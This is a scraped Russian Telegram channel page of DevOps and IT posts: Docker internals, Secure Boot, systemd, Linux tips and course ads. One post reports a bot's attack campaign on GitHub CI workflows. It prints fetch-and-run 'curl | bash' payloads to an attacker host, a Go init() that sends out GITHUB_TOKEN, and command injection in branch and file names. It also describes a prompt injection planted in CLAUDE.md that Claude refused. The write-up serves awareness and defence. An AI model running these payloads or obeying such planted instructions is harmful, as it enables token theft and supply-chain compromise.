DeVops Библиотека
СтатистикаГайды, уроки и книги для Devops специалситов по всем вопросам @workakkk
- Последний пост
- 14 авг.
- Последнее чтение
- 15:45
- Постов за неделю
- 2
- Всего постов
- 29
- Тип
- открытый
- Язык
- русский
- Категория
- Книги
- В каталоге с
- 13 авг.
- 1/24сутки в ленте
- 372
- 1/48двое суток
- 426
- 1/72трое суток
- 459
Оценка по просмотрам недавних постов: пост набирает почти всё за первые сутки.
Посты
🐧 Почему Docker-контейнеры не видят файловую систему друг друга? Многие думают, что за это отвечает mount namespace. Но всё немного сложнее. Если два контейнера используют разные root filesystem на хосте, изменения файлов уже будут изолированы просто потому, что это разные директории. Главная задача mount namespace другая: он изолирует список активных mount points, то есть таблицу монтирования. Например, если в одном namespace сделать mount диска или подключить папку через bind mount, в другом namespace этого изменения не будет видно. Именно поэтому контейнеры используют собственные mount namespaces. Когда контейнер запускается, он переключается на свою файловую систему через pivot_root(). Это меняет корневой каталог процесса, но делать такое в основном namespace хоста нельзя: тогда можно случайно изменить / для всех процессов на сервере. Поэтому контейнер получает отдельное пространство монтирования, где он может безопасно менять свою виртуальную файловую систему. Docker-контейнеры выглядят простыми снаружи, но внутри это комбинация Linux-механизмов: namespaces, cgroups, pivot_root и файловые слои. Разбор с практикой: https://labs.iximiuz.com/tutorials/container-filesystem-from-scratch
🐳 Docker полностью переписала слой виртуализации Docker Desktop Новый Docker VMM вышел в public beta для macOS и Windows начиная с Docker Desktop 4.86. Раньше Desktop полагался на сторонний VMM, теперь Docker контролирует весь стек и может оптимизировать его именно под контейнерные нагрузки. Что обещают на практике: более быстрый запуск контейнеров, заметно ускоренный file I/O между host и контейнером, возврат неиспользуемой RAM системе и более стабильную работу на Windows. На Windows Docker отдельно заявляет сочетание изоляции уровня Hyper-V со скоростью, близкой к WSL2. Тот же движок уже используется в Docker Sandboxes, а дальше компания хочет построить единый runtime для ноутбуков, облака, on-prem и AI-агентов. GA планируется на конец октября 2026 года, после чего Docker VMM должен стать движком по умолчанию для новых установок Docker Desktop на Mac, Windows и Linux. https://www.docker.com/blog/docker-vmm-public-beta/
Трамп и Trump Media & Technology Group запустила платный сервис Truth API, который дает трейдерам ранний доступ к публикациям в соцсети Truth Social. Стоимость подписки составляет 100 тысяч долларов в месяц. Это решение вызвало споры об инсайдерской торг Детали сервиса Truth API Суть проекта: Продажа быстрого доступа к постам раньше их публичного появления. Цена: 100 000 долларов в месяц за подключение. Цель: Монетизация платформы и официальный ранний поток данных для финансовых структур. Возможные риски Влияние на рынок: Сообщения на странице могут резко менять курс акций. Вопросы этики: Эксперты обсуждают законность такого заработка и риски утечек информации для биржи.
Кто-то разобрал Claude Code почти до винтика learn-coding-agent - репозиторий для тех, кто хочет понять, как устроены современные coding agents не на уровне промо-страниц, а на уровне архитектуры. Автор собрал разбор Claude Code по публичным источникам: цикл агента, систему инструментов, разрешения, работу с контекстом, сессии, подпроцессы, MCP, удалённые настройки, телеметрию и скрытые флаги. Получился не “гайд по использованию”, а карта внутренней логики CLI-агента: как он принимает решение, когда просит разрешение, как вызывает инструменты, как хранит историю и как расширяется через внешние интеграции. https://github.com/justxor/Claudecourse/
🔥 Хочешь быстрее расти в IT? Хватит учиться в одиночку В IT прокачивается тот, кто каждый день видит сильные идеи, новые инструменты, реальные задачи, вакансии и разборы. Окружение решает больше, чем кажется. Собрал папки и каналы, где можно быстрее влиться в нужное направление, следить за трендами и не вариться в своём пузыре. AI: t.me/ai_machinelearning_big_data Python: t.me/pythonl Linux: t.me/linuxacademiya Хакинг: t.me/linuxkalii DevOps: t.me/DevOPSitsec Docker: t.me/DevopsDocker Golang: t.me/Golang_google Rust: t.me/rust_code C++: t.me/cpluspluc C#: t.me/csharp_1001_notes Java: t.me/java_library JavaScript: t.me/javascriptv React: t.me/react_tg Frontend: t.me/front PHP: t.me/phpshka Android: t.me/android_its Мобильная разработка: t.me/mobdevelop Базы данных: t.me/sqlhub Data Science: t.me/data_analysis_ml Big Data: t.me/bigdatai Математика: t.me/data_math Физика: t.me/fizmat Kubernetes: t.me/kubernetc GameDev: https://t.me/gamedev Haskell: t.me/haskell_tg Собеседования и карьера: DS собеседования: t.me/machinelearning_interview Python собеседования: t.me/python_job_interview Папка с вакансиями: t.me/addlist/_zyy_jQ_QUsyM2Vi Папка Go разработчика: t.me/addlist/MUtJEeJSxeY2YTFi Папка Python разработчика: t.me/addlist/eEPya-HF6mkxMGIy Папка ML: https://t.me/addlist/2Ls-snqEeytkMDgy Папка Frontend: https://t.me/addlist/mzMMG3RPZhY2M2Iy Полезное сверху: ИТ-мемы: t.me/memes_prog Английский для программистов: t.me/english_forprogrammers ИИ и технологии: t.me/vistehno 954 ГБ open-source курсов: @courses ИТ-книги бесплатно: https://t.me/addlist/BkskQciUW_FhNjEy Max Ai: https://max.ru/ai_machinelearning_big_data Max python: https://max.ru/pythonl ТЕХНО: https://max.ru/vistehno Max Go: https://max.ru/Golang_google Max Linux: https://max.ru/linuxkalii Devops: https://max.ru/DevOPSitsec C#: https://max.ru/csharp_ci C++: https://max.ru/cpluspluc SQL: https://max.ru/sqlhub Java: https://max.ru/javatg Подписывайся на нужные направления и собирай себе ленту, которая реально двигает вперёд. Пока кто-то листает шум, ты будешь видеть инструменты, задачи и идеи, которые помогают расти в профессии.
Нашли готовую виртуальную машину для OSINT-исследований — Trace Labs OSINT VM. Это не «магическая пробивалка», а отдельная рабочая среда для легального поиска по открытым источникам: CTF, фактчекинг, расследования, поиск цифровых следов и обучение OSINT. Что внутри: * Sherlock — поиск аккаунтов по username * PhoneInfoga — анализ открытых данных по номерам * SpiderFoot и sn0int — автоматизация OSINT-проверок * theHarvester и h8mail — работа с email и утечками * Shodan CLI — поиск по открытым интернет-устройствам * Sublist3r — поддомены * exiftool и steghide — метаданные и стеганография * Obsidian — заметки прямо во время исследования Главный плюс - всё уже собрано в изолированной VM, не нужно засорять основную систему десятками инструментов. Подходит для обучения, CTF и легальных расследований по открытым данным. https://github.com/tracelabs/tlosint-vm
Пользователи Linux, которые удалили Windows, чтобы уйти от Microsoft и выбрать свободу вместе с Linux, возможно, ещё не ушли окончательно. У Microsoft есть криптографический ключ, который позволяет запускаться всем крупным Linux-дистрибутивам на современном железе. Ubuntu. Fedora. Debian. Все они. Без подписи Microsoft ваша Linux-машина не стартует. И срок действия этого ключа истекает через 4 дня - 27 июня 2026 года. Вот что происходит на самом деле. Когда в 2012 году появился Secure Boot, Microsoft фактически стала центром сертификации для всей экосистемы загрузки ПК. Каждый Linux bootloader должен быть подписан Microsoft, чтобы запускаться на UEFI-машине с включённым Secure Boot. Хорошая новость: ваш уже установленный Linux продолжит загружаться после 27 июня. Плохая новость касается всего, что будет дальше. • любой новый shim binary после 27 июня уже нельзя будет подписать старым ключом • если ваша прошивка не получит новые сертификаты Microsoft 2023 года, свежие установки дистрибутивов могут не загрузиться • старые ноутбуки, железо от небольших вендоров и embedded-устройства без обновлений прошивки могут зависнуть в серой зоне навсегда • Dell, HP и Lenovo уже выпустили обновления, но многие мелкие производители - нет. Никто точно не знает, сколько устройств выпадет из поддержки Для большинства пользователей решение простое: sudo fwupdmgr update Но главная история здесь глубже. Linux-сообщество годами спорило о свободе и независимости от Microsoft. А всё это время у Microsoft был ключ, от которого зависела загрузка почти каждой Linux-машины на современном ПК. Это не конспирология. Так просто был устроен Secure Boot. Обновитесь. А потом подумайте, что это значит. Подробности: https://zdnet.com/article/aspirin-for-linuxs-microsofts-secure-boot-headache/
✔️ Stack Overflow больше не строится вокруг разработчиков. Теперь он строится вокруг ИИ-агентов. Платформа запустила Stack Overflow for Agents — место, где AI coding agents могут задавать вопросы, делиться решениями и помогать друг другу разбираться с задачами. И это хорошо показывает, куда движется разработка. В 2014 году на Stack Overflow публиковали около 289 000 вопросов в месяц. К концу 2025-го число упало до нескольких тысяч — почти до уровня первых лет существования сайта. ChatGPT не просто стал конкурентом. Он сделал то же самое, но быстрее, мягче и без модератора, который объясняет, что твой вопрос «не по теме». Поэтому Stack Overflow меняет роль. Если разработчики теперь спрашивают ИИ, значит Stack Overflow станет местом, где ИИ-агенты спрашивают друг друга. Как это работает: * перед задачей агент сначала ищет ответ в базе * если ответ есть, он использует его * если ответа нет, но агент решил проблему, он готовит пост на проверку человеком * форматы постов: вопросы, TIL — Today I Learned, и Blueprints — переиспользуемые паттерны * каждый агент привязан к аккаунту человека * репутация агента влияет на репутацию владельца * ничего не попадает в общую базу знаний без человеческого подтверждения CEO назвал проблему “ephemeral intelligence gap”. Смысл простой: ИИ-агенты снова и снова решают одни и те же задачи, но после завершения сессии знания исчезают. Stack Overflow хочет это исправить. 15 лет назад Stack Overflow был местом, куда приходили застрявшие разработчики. Теперь это место, куда будут приходить застрявшие ИИ-агенты. Инструмент, который заменил привычный поток вопросов от разработчиков, теперь сам становится клиентом Stack Overflow. http://agents.stackoverflow.com
⚡️ Kali Linux Roadmap: с чего начать в этичном хакинге Нашёл нормальный roadmap по Kali Linux для тех, кто хочет не просто «поставить Kali и открыть терминал», а постепенно разобраться, как всё это работает. Внутри маршрут по базовым темам: установка, настройка окружения, работа с терминалом, Linux-команды, сеть, безопасность, инструменты Kali и практика. Это полезно тем, кто только заходит в кибербезопасность и не понимает, за что браться первым. Kali часто выглядит как набор страшных утилит, но без базы по Linux, сетям и правам доступа эти инструменты быстро превращаются в хаос. Хороший подход здесь простой: сначала понять систему, потом сеть, потом инструменты, и только после этого переходить к практике в легальных лабораториях и CTF. Такой roadmap удобно проходить как чек-лист: открыл раздел, разобрал команды, повторил руками, закрепил на тестовом окружении. Для старта в Kali Linux это намного лучше, чем хаотично смотреть ролики и копировать команды без понимания. https://github.com/justxor/Kalilinuxroadmap/tree/main
⚡️ Linux Roadmap: подробный практический курс от нуля до уверенного администратора Это пошаговый маршрут изучения Linux с упором на практику. Каждый раздел содержит объяснение «почему это устроено именно так», разбор команд и обязательные задания, которые нужно выполнить руками в терминале. Чтение без повторения навыка не даёт — держите терминал открытым рядом с этим текстом. Как работать с этим курсом: идите сверху вниз, не перепрыгивайте разделы; каждую команду набирайте руками, а не копируйте; в конце каждого блока выполняйте задание; специально ломайте систему в виртуалке и чините — это лучший способ учиться. https://github.com/justxor/linuxfullroadmap/
io_uring без розовых очков: 5 граблей, которые сожгли мне неделю, и где он реально быстрее epoll Прод. Сервис на Go, 80k RPS, p99 latency 12 мс. Читаю Phoronix, новость: "io_uring быстрее epoll в 2-4 раза". Решаю переписать сетевую часть. Через неделю - откат в master. p99 не упал, а вырос до 18 мс, CPU подскочил на 15%, под нагрузкой иногда залипает на 200-400 мс. Эта статья - не про "io_uring - будущее async I/O", а про то, что в этом будущем реально работает в 2026 году, что нет, и где меня обманули бенчмарки. https://habr.com/ru/articles/1039820/
🖥 C# Roadmap: с нуля до профи Практическое руководство по росту в C#-разработке. Материал собран для тех, кто хочет получить инженерную глубину, а не просто накликать CRUD по туториалам. Здесь последовательность изучения, лучшие практики, ресурсы и трезвый разбор того, как работать с ИИ-инструментами и оставаться востребованным. https://github.com/Develp10/Csharp_Roadmap/
👣 Твой код на Rust компилируется, проходит тесты и является UB. Ты просто об этом не знаешь Если взять случайный крейт с crates.io, поставить на него Miri и подождать минут пять, шанс увидеть красное сообщение про undefined behavior где-то в зависимостях стремится к единице. Чаще всего виноват не автор хитрого unsafe-блока ради скорости, а вполне обычная библиотека, которой пять лет, у которой звёзд на гитхабе больше, чем у твоего пет-проекта строчек кода, и которая всё это время спокойно лежит в продакшене. Самое неприятное в этой истории то, что компилятор ничего не скажет. Тесты пройдут. Бенчмарки покажут красивые наносекунды. А потом LLVM 19 обновится до LLVM 20, поменяет один проход оптимизации, и твой сервис начнёт ронять прод по понедельникам. Чтобы понять, почему так происходит, придётся залезть в три темы, которые в обычной жизни Rust-разработчика не встречаются: pointer provenance, Stacked Borrows и пришедшую им на смену Tree Borrows. https://uproger.com/tvoj-kod-na-rust-kompiliruetsya-prohodit-testy-i-yavlyaetsya-ub-ty-prosto-ob-etom-ne-znaesh/
Быстрый анализ загрузки через systemd-analyze На сервере все ок: железо норм, диски норм, но после ребута он думает о смысле жизни секунд 40. Обычно лезешь сразу в сервисы, логи и смотришь что запустилось, а что еще нет. Но иногда юнит не падает, а просто висит в starting и ждёт сеть, DNS, диск или маунт. Что делает systemd-analyze systemd-analyze вскрывает сколько заняло ядро, сколько занял userspace, и какие юниты съели время. Кто тормозит systemd-analyze blame Она покажет список юнитов, отсортированный по времени старта. Важно: это не всегда время выполнения, а то, сколько юнит считался стартующим. Но обычно виновники видны сразу. Дерево зависимостей Когда юнит тормозит, часто причина не в нём, а в том, что он ждёт сеть, диск, другой сервис. systemd-analyze critical-chain Эта штука показывает цепочку, что блокировало путь до default.target. Видно кто кого ждал и где пробка. График загрузки для красивого разбора Если хочется визуально показать коллеге почему оно долго стартует, есть SVG-таймлайн. systemd-analyze plot > boot.svg Открываешь boot.svg в браузере и видишь полосочки, кто и когда стартовал. Вывод systemd-analyze это твой способ увидеть кто, где и почему тормозит загрузку и кто кого ожидает.
🖥 На Stepik обновили курс «C# с нуля до профи» Представьте: через четыре месяца вы открываете чужой .NET-проект и читаете его как книгу. IServiceCollection не вызывает ступора. async Task<IActionResult> пишется на автомате. Вы точно знаете, почему EF Core сгенерировал именно такой SQL - и как переписать запрос, чтобы он летал. Это не фантазия. Это результат после 16 модулей, в которых каждая концепция объясняется через код и закрепляется практикой. ООП, SOLID, LINQ, async/await, DI, EF Core, ASP.NET Core, Docker, Kubernetes - всё, что казалось магией, станет рабочим инструментом. А бонусом - портфолио проектов: от CLI-утилит и REST API до собственного SaaS с multi-tenancy, JWT и деплоем в Kubernetes под TLS. Скидка - 58% доступна 48 часов: https://stepik.org/a/282984/
🚀 Мощный панель управления для игровых серверов MCSManager — это современная веб-панель для управления серверами Minecraft, Steam и другими играми. Она позволяет легко управлять несколькими серверами с одного интерфейса, предлагая надежную систему разрешений для пользователей и поддержку многоязычности. 🚀 Основные моменты: - Быстрая установка игровых серверов с помощью встроенного магазина приложений. - Поддержка множества игр, включая Terraria и Project Zomboid. - Настраиваемый интерфейс с возможностью перетаскивания элементов. - Поддержка Docker и коммерческого хостинга. - Легковесная архитектура на TypeScript. 📌 GitHub: https://github.com/MCSManager/MCSManager
📎 Один бот, пять техник За неделю автономный бот атаковал пять крупных репозиториев и каждый раз использовал новый способ. Пейлоад во всех случаях одинаковый — curl -sSfL hackmoltrepeat.com/molt | bash. Менялось только то, как заставить CI его выполнить. Атака 1. avelino/awesome-go — кража токена через Go init() Воркфлоу использует pull_request_target и делает checkout кода из форка, затем запускает его. Это классический Pwn Request — код выполняется с правами целевого репозитория, а не форка. Бот добавил функцию init() в Go-скрипт качества кода. В Go init() запускается автоматически до main(), поэтому вырезать её из потока выполнения нельзя. В последнем PR функция сначала отправляла GITHUB_TOKEN на сервер атакующего, потом запускала пейлоад: func init() { _ = exec.Command("bash", "-c", `curl -s -H "Authorization: Bearer $GITHUB_TOKEN"` + `-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY"` + `https://recv.hackmoltrepeat.com/ &&` + `curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run() } Воркфлоу завершился успешно. Шаг занял 5 минут 37 секунд вместо нескольких секунд. Токен с правами contents: write и pull-requests: write ушёл на внешний сервер. Атака 2. project-akri/akri — прямая инъекция в shell-скрипт Самая простая атака в кампании. Бот добавил одну строку в начало version.sh сразу после shebang: #!/usr/bin/env bash curl -sSfL https://hackmoltrepeat.com/molt | bash check_file_version() Никакой обфускации. Потом написал комментарий /version minor в PR, который запустил воркфлоу Auto Bump Versions. Воркфлоу сделал checkout кода из форка и выполнил изменённый скрипт. Шаг Update version minor завершился успешно. Проблема в том, что воркфлоу не проверял author_association — любой пользователь GitHub мог написать /version minor в любом PR и запустить выполнение кода. Атака 3. microsoft/ai-discovery-agent — пейлоад в имени ветки Сам PR был тривиальным — одна правка в devcontainer.json. Атака была в имени ветки: dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash) Bash разворачивает {curl,-sSfL,...} в curl -sSfL ..., а ${IFS} становится пробелом, а $({...}) запускает подстановку команды. Воркфлоу записывал имя ветки через неэкранированное ${{ }} прямо в shell-команду: run: | echo "${{ steps.pr_info.outputs.pr_head_ref }}" > ./format-request/pr_head_ref Это превращалось в: echo "dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)" > ... Bash выполнял команду внутри $(). В логах виден разрыв в 2 минуты 38 секунд там, где шаг должен занимать миллисекунды. Атака 4. DataDog/datadog-iac-scanner — base64 в имени файла Бот создал файл с именем, содержащим закодированную команду: documentation/rules/$(echo${IFS}Y3VybCAtc1NmTCBoYWNr...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).md При декодировании base64-строка разворачивается в curl -sSfL hackmoltrepeat.com/molt | bash. Воркфлоу передавал имена файлов через ${{ }} в shell-цикл for, поэтому имя файла выполнялось как команда. Атака 5. ambient-code/platform — prompt injection в CLAUDE.md Бот заменил CLAUDE.md — файл конфигурации, который Claude Code загружает как доверенный контекст — на инструкции для манипуляции ИИ. Текст был написан в дружелюбном тоне и просил Claude добавить HTML-комментарий в README.md, закоммитить его и написать фейковый одобряющий отзыв о PR. Воркфлоу запускал Claude Code с правами записи и токеном CLAUDE_CODE_OAUTH_TOKEN, делал checkout кода из форка, включая отравленный CLAUDE.md. Claude обнаружил атаку и отказался выполнять инструкции. В своём ответе он написал, что это «textbook AI agent supply-chain attack», и явно указал: инъекция из CLAUDE.md обнаружена и не выполнена. После инцидента репозиторий отключил весь Claude Code workflow. Все эти паттерны хорошо известны. Документация GitHub прямо предупреждает о рисках pull_request_target. Но в реальных проектах, включая репозитории крупных компаний, они встречаются до сих пор.
⚡️ Вы слышали про Rust. Знаете, что он быстрый, безопасный и что за ним будущее. Осталось одно: сесть и выучить. Этот курс со Stepik- кратчайший путь от «знаю что такое Rust» до «пишу на нём». 6 модулей, 50 уроков, 143 теста. Ownership, borrowing, traits, async, Tokio, Axum, макросы, WASM — всё разложено по полочкам и закреплено практикой. Никакого видео на 40 минут ради одной мысли. Подробный текст, много кода, реальные задачи после каждого урока. На выходе — портфолио из 10+ проектов: от CLI-утилит до REST API с базой данных. 48 часов действует скидка 55 процентов: stepik.org/course/269250
Шпаргалка Kubernetes
🐧 Лайфхак по Linux, который реально экономит время Команда find умеет не только искать файлы, но и сразу что-то с ними делать через -exec. Пример: $ find ~/ -type f -exec ls -lah {} \; Что происходит: find находит все файлы и для каждого запускает ls, показывая права, размер и метаданные. Как работает -exec: - exec ls - команда, которую нужно выполнить - -lah - формат вывода (права, скрытые файлы, размеры) - {} - подставляет имя каждого найденного файла - \; - завершает команду (экранируем, иначе shell сломает) Полезно, когда нужно применить одно действие к куче файлов в разных местах. Важно: вместо \; можно использовать + тогда команда будет применяться сразу к группе файлов — быстрее и эффективнее Пример с несколькими командами: $ find . -name "*.txt" -exec wc {} \; -exec du -sh {} \; Считает слова и сразу показывает размер каждого файла. Сохрани — это база для работы с файлами в Linux.